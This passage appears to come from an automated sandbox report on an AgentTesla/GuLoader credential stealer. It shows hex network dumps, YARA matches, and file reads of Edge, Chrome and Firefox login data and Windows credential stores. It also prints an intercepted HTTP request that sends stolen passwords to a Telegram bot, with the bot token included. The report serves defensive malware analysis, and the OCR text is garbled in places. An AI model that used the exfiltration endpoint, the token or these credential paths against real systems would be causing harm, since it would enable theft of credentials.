2a 23 d559 49 81 79 9¢ 03 ae d3 8¢ 56 f8 d7 bd 4e c7 48 d4 8b 59 el 30 60 99 73 be 3d e4 1b 17 Oa f1 b7 6b 67 ec a2
e2 ¢4 61f79bd4 9c 17 13 5¢ 21 6a 09 f6 16 79 96 cf 08 06 9c f7 e1 63 7b ¢3 00 16 8b €0 63 95 1b 14 dd 83 94 1d 35 c4
69 c0 e8 82 al 68 92 31 6b 3e 95 a6 ec c3 ce 82 f3 0f d6 43 el eb 17 €9 ae 44 c5 c2 a5 11 43 e2 f5 eb 19 d3 bf ef 08 a4
fe 18 1e 6f 80 €9 18 d2 20 c6 55 19 37 91 c0 d8 6b 79
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7d 77 86 92 5a 8¢ 59 Oe b0 3f 30 b9 4e e5 03 d7 c3

Data Ascii: *4"~a]|Bv%.6/qg-cz2p@\yETXeXmwng%NA1j>Y pfCEINK%ChO#"WbrjZVhO-LYBxdqCKT(qsW+$m%
v3uiwZY?0N

Data Raw: be 7b 70 b0 1a c6 ad 7b 34 13 29 7b fc 10 5e ea a4 c8 ff fc f8 ac 47 6¢ ¢9 42 19 51 ¢9 60 €0 bc d5 45 a3 eb a5
65 ef 01 92 b0 59 0d c7 94 d8 21 58 c8 c2 bd 8d 4d c1 c¢9 d0 c1 b2 40 ec a3 7d 49 46 20 db 45 85 2e 9e €9 73 31 7c ad
dd 1f b5 8¢ b3 58 ec d0 ae b7 81 f2 20 0d 4c f6 06 49 01 2d 7a 5d 45 al 8c 9c be b3 57 09 9a 7c ed b6 68 c4 8c c8 ad 5b
ef 29 cd 93 4c a8 2e 6 55 9b 78 €0 b1 77 d1 6 cc f1 df 7d 1c 86 ba 91 Of 13 fe 21 75 Oa f1 08 b5 8b de 1f 42 9e b6 el 5e
71 93 a0 be 8c cb 7a c3 9e c2 dd b3 9e 03 3d 08 6b 73 f8 89 bd b9 9d 39 7c 3a 17 9d eb d2 cc 92 3 fa cb 50 ff ff 06 24 a9
4a d2 c6 27 b9 40 f3 f7 8 Ob 0a 35 el 14 b2 f5 43 18 7d 90 7e 65 Oc a0 a2 5f 07 31 3b c6 dc 7b ee 57 cd a8 be 83 7f 21
12 09 fb f1 cb Of 44 ea 71 20 2c 3a ef 50 75 e4 68

Data Ascii: {p{4){"GIBQ EeYXM@}IF E.s1|X LI-z]JEW|h[)L.Uxw}luB~qz=ks9|:P$J'@5C}~e_1;{W!Dq ,:Puh

Data Raw: a7 db d8 ca 76 d8 54 1d 05 6f 7c fb 2d cb 62 1c 8e 58 d1 ec d3 d2 57 dc 06 aa 95 55 92 94 db 7a 3d bc ¢3 07
aa bf 5a bc 5d e2 4b 3d 4f 50 7f 54 b8 05 76 c9 5b ef a4 57 ee 77 ba b5 e3 21 7a 85 02 9f Ob 7f a3 d2 1d fe fb af 16 20 7f
05 8f 2b d5 2c 4f 7a 8f f4 3c 78 2c 68 fO bf 39 78 bc 10 cb 11 2a Oe e4 1a 53 f8 d4 4f 60 35 8¢ 54 2e bc d7 97 16 87 d3 3e
04 13 f4 46 a8 4e d1 26 f5 00 d6 54 d6 26 40 31 6d 8a 82 Oe 8a de 7f 8a Oe 31 35 Oc 46 da 75 a4 3d be 10 15 37 e4 el
19 fe df 80 bf 4b e3 fa a7 21 ff 4e 94 9b fe 60 55 cc 38 fc 71 77 c0 b9 9c 49 42 cb d7 7f al fb e3 d0 4a 3b 70 €0 a6 {7 5e
54 c4 d9 4a b7 93 54 e6 17 dO 3c 01 8f 24 83 78 da 67 48 8f 18 fa 8c c6 €9 1b €3 3c c0 69 91 27 4f 69 le 28 cf 47 e6 80
7375ef69 01 c3 al 71 3e 12 26 76 f2 09 52 e5 d4

Data Ascii: VTo|-bXWUz=Z]K=OPTv[Ww!z +,02z<x,h9x*SO 5T.>FN&T&@1m15Fu=7K!N'U8qwIBJ;p " TIT<$xgH<i'Oi(Gsu
ig>&VvR

Data Raw: d0 9a 7d 87 87 b6 97 67 47 80 46 €9 e0 5e 31 7f ff 25 e8 e7 4d 75 fc 1d c8 4c ec 41 eb 1e 79 b9 73 df dc 2a
€365 75 66 fa e4 5d a6 a3 ¢9 91 75 6a 55 ad 2d f7 49 ed fd 32 aa el ca 7f fa f5 96 a6 c8 9b 58 90 d5 93 fd b7 b6 0f 5¢ 81
6e 30 4c 17 ¢3 75 b0 69 b5 68 17 b8 a9 14 50 1c db 2d f5 33 3b 5f 38 84 61 1f 5b ¢7 92 ff b5 88 51 d3 b9 f2 6¢ 08 6d 87 f1
de 6e 56 74 c6 7c c6 05 d5 93 82 22 46 d6 f4 31 7b 3c e8 33 f6 ba c9 ba eb d8 5a f7 65 73 ec c1 d2 al 5¢ e0 57 2b 32 49
3fed eb de 72 38 Oc db be 89 82 63 7c¢ 30 29 13 dc 7d d3 32 20 15 67 0a 70 15 bd ba ae 57 12 2c 9f 28 9c 47 f0 87 67 c3
77 03 de 35 74 13 66 b0 70 4a 2f 03 4d b2 c4 d0 79 7a e4 d2 75 fd ed de c2 ef 5b f5 96 60 6¢ 4e ec a2 e8 2f b2 Of 77 8e
ad ceddcl 76 c141 111064 69 e6 34 ca7c 1292

Data Ascii: }gGF*1%MuLAys*euf]ujU-12X\n0LuihP-3;_8a[QImnVt|"F1{<3Zes\W+2I?r8c|0)}2 gpW,(Ggw5tfpJ/Myz

u[ IN/wvAdi4|

Page 38 of 44



kBytes

Timestamp T Direction
2022-05-12 15:08:08 UTC 209 IN
2022-05-12 15:08:08 UTC 209 IN
2022-05-12 15:08:08 UTC 211 IN
2022-05-12 15:08:08 UTC 212 IN
2022-05-12 15:08:08 UTC 213 IN
2022-05-12 15:08:08 UTC 214 IN
2022-05-12 15:08:08 UTC 216 IN
Session ID Source IP Source Port
2 192.168.11.20 49753
Timestamp L Direction
transferred
2022-05-12 15:08:21 UTC 216 ouT
2022-05-12 15:08:21 UTC 217 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 12 bd 5c 65 bb 74 41 46 3e 37 b4 f8 ae Oc fb 9a dc 00 2d 57 11 b4 8c b3 44 71 24 al 32 68 f2 21 0d 4c f6 06
be 92 a4 37 5e 4f 82 92 98 ad a7 c8 89 9a 7d 25 a2 4f ce 8a c8 ad 4e e2 2d cf 83 4d b1 29 64 Ob 04 Oc e3 b4 6¢ cd e8 df
fO c7 7c 04 99 a0 92 1f 00 f1 21 70 19 70 cb b4 99 cc 18 dO c1 3a ee 4e 79 88 8e b4 84 ¢3 68 d6 89 62 01 al 90 05 42 Of
58 7a f6 14 7c a5 86 2c €8 24 96 02 e4 ce d0 9a ef ec c5 cc 3e fc 05 b5 a0 5e d5 55 a9 37 4f e3 f5 ef 6¢ 9a cd f2 7f a0 8b
56 69 72 f7 ed 6d Oc 54 cd 22 1d 42 29 b3 d3 1c 7d 5f da fd ac e7 ef c1 09 7c eb 86 c8 f8 c3 8e el c0 36 4f fc 37 e6 ec 68
8d b2 76 9a 08 Ob d5 82 29 88 6d 7 Oc ff 39 fO 82 c8 5a 3b f2 2a d0 ba 5e 14 86 90 fb 38 8b c3 8a 1a 72 8d 7c 70 23 ff 05
97 68 91 1b bf 89 6¢ 54 87 46 ed 71 d6 39 7f 97

Data Ascii: \etAF>7-WDg$2h!L720}%ON-M)dl|!pp:NyhbBXz|,$>"U70IVirmT"B)}_|607hv)m9Z;*8r|p#hITFq9

Data Raw: 47 6e 59 57 b9 ba cf 7c 87 21 07 4d 8d e4 bd 4b f2 10 14 e9 5d 23 ca 80 d0 2f 46 dO cc b3 91 cb c9 f9 d9 d7
a9 5c 64 6e 7b 5d c9 3a 55 a8 82 bc eb 26 f2 ce ef 25 38 0d b4 0a db 58 19 29 b2 39 7a f2 21 e8 43 86 06 4a e0 37 13 5d
41 8f 81 8f 31 aa c7 f9 83 f6 62 91 49 d5 05 38 a6 04 e0 29 df 8d d2 51 39 ea c5 97 71 fO bf 65 d8 f8 51 30 ¢3 73 80 92 b2
8191 ce f7 35 e4 03 e2 97 3d 99 c4 04 5e 12 29 61 48 7f 9b 8e b4 83 cd 74 c6 89 63 d4 b2 1f 03 20 19 eb 56 €6 9a b4 b6
11 db 6b 26 9b 04 ff dd 4f ad f1 f7 c5 cd eb e8 06 b7 c9 49 c9 c6 24 3¢ 45 ed f6 f0 17 81 ad f2 88 57 fc 4a Oe el 8a f2 0d
Oc a3 3a 55 01 22 29 44 24 6b 61 24 ¢5 9d ac 11 c¢8 b6 15 1c eb 71 3f 8f df f5 fe a0 35 b9 d7 40 fa 8c 68 7a 45 01 86 73
10 b5 82 df af 1a eb 6b 6¢ 44 eb e2 cb ac 10 85 36

Data Ascii: GnYW/|!MK]#/F\dn{]:U&%8X)9z!CJ7]A1bI8)Q9qeQ0s5=")aHtc Vk&OI$<EWJ:U")D$ka$q?5@hzEskiD6

Data Raw: 4b ¢7 9¢c 57 99 4b 84 cb d4 7c 2d a6 4a de ab ac d2 ac 5c fO c1 e9 56 5f fb 54 b5 06 76 c8 54 6a 0d 44 f9 ff Ob
af 69 28 74 93 16 89 04 fb a3 df 09 63 5e bc 01 5d 70 75 8f 26 cf a4 ed 65 12 7a 30 63 33 f5 68 a6 27 65 be 0d dd 97 9a
93 62 42 ab 35 3e a2 e4 eb 8d 46 af b0 c7 85 96 5a d6 2a 85 1b e6 c2 Oe 40 c3 a6 50 11 ca 48 ca 3e 44 3f 7f bf 8e 1d 84
d6 67 9f 80 a4 29 14 4a c4 6¢ 38 ad a6 6¢ 0d 25 67 a0 11 cb 5¢ ¢5 a3 55 e0 fb 77 32 7b d0 83 38 b9 73 d8 81 2f 78 ff 7b
cc a9 15 41 48 d8 bf 68 dc eb f6 d7 62 30 69 ac a4 c3 4e 5b 41 03 4c a0 10 5e f1 07 58 €5 00 9c a4 93 67 d2 7f 47 93 17
f1 84 dd f7 18 e0 7d c0 64 b9 25 42 e5 c5 al c7 5a eb 02 ab 69 65 a4 0f c6 ad 7d 2e 9b 26 6d 87 05 58 fO cc db el e5 c5
b0 48 ec b8 58 25 41 46 66 €7 2d 84 a2 82 f8 39 63 ff

Data Ascii: KWK]|-J\V_TvT|Di(tc"]pu&ez0c3h'ebB5>FZ* @PH>D?g)JI8|%g\Uw2{8s/x{AHhbOIN[ALXgG}d%BZie}.&mX
HX%AFf-9¢

Data Raw: €9 10 dd 41 f9 41 eb 06 71 b3 7e c3 al 25 ec 6e 79 ef ff €6 57 b5 ac ¢9 86 77 7f 5e be 26 e4 44 ed e9 26 ac e3
d4 el 19 64 19 45 ¢8 9d 58 89 d5 8a f2 36 9f 12 5b 81 6e 3f cb ff db 28 a5 36 a7 7a 97 41 b6 1f 43 Oc c0 a8 15 3f 27 d1

d9 84 74 12 4c c5 9a ea ad 85 44 cb b2 e6 78 1c ef 7c ff de 6e 43 62 dc 70 dc 8e c5 98 82 23 06 d6 f4 22 63 24 ff b9 02
ad 43 59 d6 d8 4f ef 7d 7e f9 d9 d9 a7 59 e2 4c a7 c9 46 b8 09 fc 40 da 38 Oe ef b1 Of 81 63 8a 8e 1b 91 24 7c a6 2d 01
1b 66 1a e5 ea 2d dc al 48 9f 8¢ 93 32 9d 53 f2 9f 7f db 78 16 dc 3d 7d 02 63 a7 f1 b5 8d 0d 4b bd 48 d1 7d 65 f0 52 a9
el fa 42 cf e6 4e 65 57 7d 6¢ 4f 1c b0 e9 3d b1 Oc ea 9b bd da c8 c6 76 d3 57 0d Oc 73 67 7b f5 c3 68 93 9b 53 df €3 de
dc 43 d0 16 ba 9c 41 88 9e 53 fa 24 bc cf 23 aa ac dO

Data Ascii: AAQ~%nyWw"&D&AEX6[n?(6zAC?'tLDx|nCbhp#'c$CYO}~YLF@8c$|-f-H2Sx=}cKH}eRBNeW}O=vW
sg{hSCAS$#

Data Raw: c8 d4 38 1c 4e ce 56 00 89 cf 8e 51 f3 08 ca 80 32 30 3c 3c f4 ee f1 90 f1 al f9 ef 97 Ob 91 01 a9 7 al c9 3f
8b 55 b8 9f 50 al 3a e4 c7 60 Oa al d2 04 a0 87 a4 83 ab 15 78 b4 c2 eb 74 13 f6 28 64 Ob fa 27 83 b9 e0 24 63 2d 09 dO
757195 a6 bd 8d e2 24 aa f8 90 b3 d3 f1 6d 41 28 3e 06 97 el c0 c8 b3 6d 1d 5d f1 65 85 ec 8f fb 9e 94 a2 22 8a 89 6e
34 a8 43 c6 d4 ad 34 41 ed f7 fd 07 89 b8 el Oa e6 fc 52 4b 12 e3 8f 56 71 4f 9a 2f 6¢ 52 4b b2 a8 06 01 7e a0 fa d1 e5
8e b5 32 08 f9 d7 eb bc b7 98 ¢3 d0 11 03 ¢3 27 97 ad 42 d5 94 32 b9 1f 34 c2 a3 6e ac 35 dc 1d de 7f d5 cf ec 19 4d b4
5d 91 a8 2b 06 f3 82 4e 74 fd d1 ff 08 f3 dc 71 65 31 7f 06 c8 7e 83 9a 93 8a 62 5a 85 4e f8 63 57 35 7c 99 25 e8 ee 4a
70 el 18 d5 49 e4 49 33 45 7a bb 76 d1 d4 2d e4 66 64

Data Ascii: 8NVQ20<<?UP: xt(d'$c-ug$mA(>m]e"n4C4ARKV(O/IRK~2'B24n5M]+Ntqe1~bZNcW5|%JIplI3Ezv-fd

Data Raw: 56 dd 4f 4c 37 0f 11 38 2e 3d b0 74 f5 3b 22 bc 7d cf 42 3b €0 6¢ 49 ac 55 2b da 64 18 8¢ 31 2e c0 d2 f2 16 87
d7 38 04 93 f4 6¢ af 4f d1 6a f1 6¢ d6 33 d6 43 4a 5d 6d c9 86 6a 8a ae 7f {7 02 43 35 65 42 bb 64 4c bl ce 74 15 37 4d
€529 d9 92 80 d2 4d 91 78 40 23 96 45 e2 bb 93 61 3d c4 49 fb 52 75 81 bb fb 49 34 ca ba 7a c6 €3 99 d9 0b 38 05 fd ca
ea 34 49 af de 63 b2 b1 56 a5 15 b4 38 6d 8e 05 9b 08 dc Ob 49 €9 19 97 8a b5 eb 79 63 cc ¢c8 1e bl 42 5e 98 d7 45 cf
3417 76 a3 02 6d c8 07 ea a5 73 3¢ 9a 2e 54 f2 0c 50 b7 d1 a7 fc 90 d8 cb 55 87 b0 2b 39 32 ¢7 02 2 7a 04 2a 83 86 b8
Oe f2 6¢ 97 d1 5b 6e c9 f9 de 21 5a b9 cc f6 83 3a c1 86 de 85 bc 18 e4 de 7a 3d 48 5a 5b f8 97 fc 6b 9f 13 96 6e 4f 24 70
a6 dc bb 06 6¢ 77 bc 64 74 b4 a0 98 51 be 14 bd 80 6b

Data Ascii: VOL78.=t;"}B;IlU+d1.80jI3CJ]mjC5eBdLt7M)Mx@#Ea=IRul4z84IcV8mlycB "E4vms<.TPU+92z*|[n!Z:z
=HZ[knO$plwdtQk

Data Raw: 49 Oa c6 2d b7 13 a3 7a 99 5d ab 1a ae 37 c9 af 10 31 35 51 30 8¢ 7c 1a 46 c2 9c e2 b0 80 59 ce bc ee 70 la
ef 7e f9 c3 6b 4b 71 db 79 ce 0d c8 96 90 a0 b7 cb f1 3f 66 39 fa bl 1f a8 4b 53 f6 dd 47 f2 78 76 f1 c4 dc af 41 e5 45 a9
€7 54 3af0 ee c3 77 2a 8e 2a a3 8c 8c 71 09 37 09 11 dd 6e d3 21 21 18 67 08 65 07 3f 5f ac 59 1c 31 9a 35 99 4e {7 82
7ac6 7d 1e db 3d 7c 1f 66 b5 71 58 ad 0a 47 a0 46 d9 73 70 e2 d2 74 e0 e8 c3 c7 f3 5¢c e5 8a 7c 7e ce 14 be f4 33 a3 8d
€293 al d2c0 c4 6b dd 5¢c 0d 0d 66 75 fb 28 c2 7a 12 93 5d d9 e4 dd d2 5e d5 le b2 9b 45 8a 8c d3 67 38 b4 ca 03 aa
be 53 a4 49 e2 41 34 57 4d 7a 5c a8 14 f6 69 46 ea ac 4a eb 7f aa bd ea 35 7a 8f Ob 87 16 7a ab c2 Oc 7e 5b b2 13 28 62
0087 3b dd 24 4c 6d 0f 74 38 7e 3d €8 74 bb 3b 78 bc 10

Data Ascii: 1-z]715Q0|FYp~kKqy?fOKSGXVAET:w**q7n!ige?_Y15Nz}=|fgXGFspt\|~3k\fu(z]"Eg8SIA4WM2\iF 52z~
[(b;$LMt8~=t;x

Destination IP Destination Process
Port
149.154.167.220 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

POST /bot5362707045:AAGBjkYF97cvi4xaEhJ10rouigS3umCPqgA/sendDocument HTTP/1.1
Content-Type: multipart/form-data; boundary=-------------------------—-| 8da343ddb463be8

Host: api.telegram.org

Content-Length: 1020

Expect: 100-continue

Connection: Keep-Alive

HTTP/1.1 100 Continue
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kBytes

Timestamp T Direction
2022-05-12 15:08:21 UTC 217 ouT
2022-05-12 15:08:21 UTC 218 IN
Statistics

Behavior

System Behavior

Click to jump to process

Data

Data Raw: 0d Oa 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 33
34 33 64 64 62 34 36 33 62 65 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64
61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d Oa 0d Oa 35 33 34 30 36 31 33 35 38 31 0d Oa 2d 2d 2d 2d
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 33 34 33 64 64 62 34 36 33 62 65
38 0d Oa 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d
22 63 61 70 74 69 6f 6e 22 0d Oa 0d Oa 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a Oa 55 73 65 72 20 4e 61
6d 65 3a 20 41 72 74 68 75 72 2f 35 37 39 35 36 39 Oa 4f 53 46 75 6¢

90SFul

HTTP/1.1 200 OK

Server: nginx/1.18.0

Date: Thu, 12 May 2022 15:08:21 GMT

Content-Type: application/json

Content-Length: 609

Connection: close

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Access-Control-Allow-Origin: *

Access-Control-Allow-Methods: GET, POST, OPTIONS

Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
"ok":true,"result":{"message_id":102,"from":{"id":5362707045,"is_bot":true,"first_name":"Moveolo","username":
"Moveolo_bot"},"chat":{"id":5340613581,"first_name":"devil","last_name": rivate"},"date":1652368
101,"document”:{"file_name":"user-579569 2022-05-12 05-32-30.html","mime_type":"text/html","file_id":"BQACAgQA
AxKDAANMYn0i5cW4pkRSDIMoH29bIDLhMSQAAIINAALcpuhTnNY8FPmbtlckBA","file_unique_id":"AgADIgOA
Atym6FM","file_size":446},"caption":"New PW Recovered!\n\nUser Name: user/579569\nOSFullName: Microsoft Window
s 10 Pro\nCPU: Intel(R) Core(TM) i9-9900K CPU @ 3.60GHz\nRAM: 8191.25 MB"}}

@ Securitelnfo.com.W32.AlDetect.ma...
® CasPol.exe
@ CasPol.exe
@ conhost.exe

Analysis Process: Securitelnfo.com.W32.AlDetect.malware2.8516.exe PID: 384, Parent PID: 1492

General

Target ID: 1

Start time: 17:07:27

Start date: 12/05/2022

Path: C:\Users\user\Desktop\Securitelnfo.com.W32.AlDetect. malware2.8516.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\Securitelnfo.com.W32.AlDetect.malware2.8516.exe"
Imagebase: 0x400000
File size: 253128 bytes

Copyright Joe Security LLC 2022
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MDS5 hash: 90E91D605FB261FA827093074C0D7178

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:

00000001.00000002.34639544413.0000000002A00000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

Reputation: low

File Activities

Analysis Process: CasPol.exe PID: 6092, Parent PID: 384

General

Target ID: 3

Start time: 17:07:55

Start date: 12/05/2022

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Wow64 process (32bit): false

Commandline: "C:\Users\user\Desktop\Securitelnfo.com.W32.AlDetect.malware2.8516.exe"
Imagebase: 0x510000

File size: 108664 bytes

MD5 hash: 914F728C04D3EDDD5FBA59420E74E56B

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: CasPol.exe PID: 1668, Parent PID: 384

General

Target ID: 4

Start time: 17:07:55

Start date: 12/05/2022

Path: C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Desktop\Securitelnfo.com.W32.AlDetect. malware2.8516.exe"
Imagebase: 0xd10000

File size: 108664 bytes

MD5 hash: 914F728C04D3EDDD5FBA59420E74E56B

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GulLoader, Source:

00000004.00000000.34495451157.0000000001100000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000004.00000002.39282146178.000000001DA11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source:
00000004.00000002.39282146178.000000001DA11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source:
00000004.00000002.39282146178.000000001DA11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Reputation: moderate

File Activities

File Created

File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user read data or list  device directory file | object name collision 1 1113568 InternetOpen
directory | synchronous io UrlA
synchronize non alert | open

for backup ident
| open reparse
point
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File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user\AppData\Local read data or list  device directory file | object name collision 1 1113568 InternetOpen
directory | synchronous io UrlA
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Mi read data or list  device directory file | object name collision 1 1113568 InternetOpen
crosoft\Windows\INetCache directory | synchronous io UrlA
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user read data or list  device directory file | object name collision 1 1113568 InternetOpen
directory | synchronous io UrlA
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local read data or list  device directory file | object name collision 1 1113568 InternetOpen
directory | synchronous io UrlA
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Mi read data or list ~ device directory file | object name collision 1 1113568 InternetOpen
crosoft\Windows\INetCookies directory | synchronous io UrlA
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user read data or list  device directory file | object name collision 1 6DF93263 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Roaming read data or list ~ device directory file | object name collision 1 6DF93263 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user read data or list  device directory file | object name collision 1 6DF93263 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Roaming read data or list  device directory file | object name collision 1 6DF93263 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
File Written
File Path Offset Length Value Ascii Completion Count Source Address Symbol
\Device\ConDrv 0 0 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6CE29B71 WriteFile
\Device\ConDrv 30 30 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6CE29B71 WriteFile
File Read
File Path Offset Length Completion Count Source Address Symbol
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4095 success or wait 1 6DF9099B unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 8173 end of file 1 6DF9099B unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4095 success or wait 1 6DF9099B unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 6135 success or wait 1 6DF9099B unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\e4al unknown 176 success or wait 1 6DEE62DE ReadFile
€9189d2b01f018b953e46c80d120\mscorlib.ni.dll.aux
C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe.config unknown 4095 success or wait 1 6DF9D97A ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe.config unknown 8173 end of file 1 6DF9D97A ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4095 success or wait 1 6DF9D97A ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\68e52d unknown 620 success or wait 1 6DEE62DE ReadFile

ed8d0e73920808d8880ed14efd\System.ni.dll.aux
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File Path Offset Length Completion Count Source Address Symbol

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait 1 6DEE62DE ReadFile
uration\96b2b7229c43d2712ff1bf4906a723f6\System.Configuratio

n.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\6 unknown 900 success or wait 1 6DEE62DE ReadFile
2fe5fc1b5bafbh28a19a2754318abf00\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\5a unknown 748 success or wait 1 6DEE62DE ReadFile
5dc2f9e9c66b74d361d490c1f4357b\System.Xml.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown 4095 success or wait 1 6DF9099B unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown 8171 end of file 1 6DF9099B unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown 4096 success or wait 1 6CE29B71 ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config  unknown 4096 end of file 1 6CE29B71 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4096 success or wait 1 6CE29B71 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4096 end of file 1 6CE29B71 ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe.config unknown 4095 success or wait 1 6DF9099B unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe.config unknown 8173 end of file 1 6DF9099B unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Manage unknown 764 success or wait 1 6DEE62DE ReadFile
ment\ccd32e22ed1b362cchd4b6fe2cda6dOb\System.Management.ni.d

Il.aux

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4096 success or wait 1 6CE29B71 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config  unknown 4096 end of file 1 6CE29B71 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4096 success or wait 1 6CE29B71 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4096 end of file 1 6CE29B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data unknown 49152 success or wait 1 6CE29B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 4096 success or wait 1 6CE29B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 4096 success or wait 1 6CE29B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 624 end of file 1 6CE29B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 4096 end of file 1 6CE29B71 ReadFile
C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown 4096 success or wait 1 6CE29B71 ReadFile
C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown 4096 end of file 1 6CE29B71 ReadFile
C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown 4096 success or wait 1 6CE29B71 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4095 success or wait 1 6DF9099B unknown
C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe.config unknown 8173 end of file 1 6DF9099B unknown
C:\Program Files (x86)\iDownloader\config\database.script unknown 4096 success or wait 1 6CE29B71 ReadFile
C:\Program Files (x86)\iDownloader\config\database.script unknown 4096 end of file 1 6CE29B71 ReadFile
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login unknown 45056 success or wait 1 6CE29B71 ReadFile
Data

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 4096 success or wait 1 6CE29B71 ReadFile
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 4096 success or wait 1 6CE29B71 ReadFile
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 4096 end of file 1 6CE29B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Credentials\93CE54EBD7 unknown 4096 success or wait 1 6CE29B71 ReadFile

2B5E2187F75E8118A14612

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-3425316567-  unknown 4096 success or wait 2 6CE29B71 ReadFile
2969588382-3778222414-1001\8752f48a-eea0-49ee-9f8c-ed0ab159e3fb

C:\Users\user\AppData\Local\Microsoft\Credentials\93CE54EBD7 unknown 4096 success or wait 1 6CE29B71 ReadFile
2B5E2187F75E8118A14612

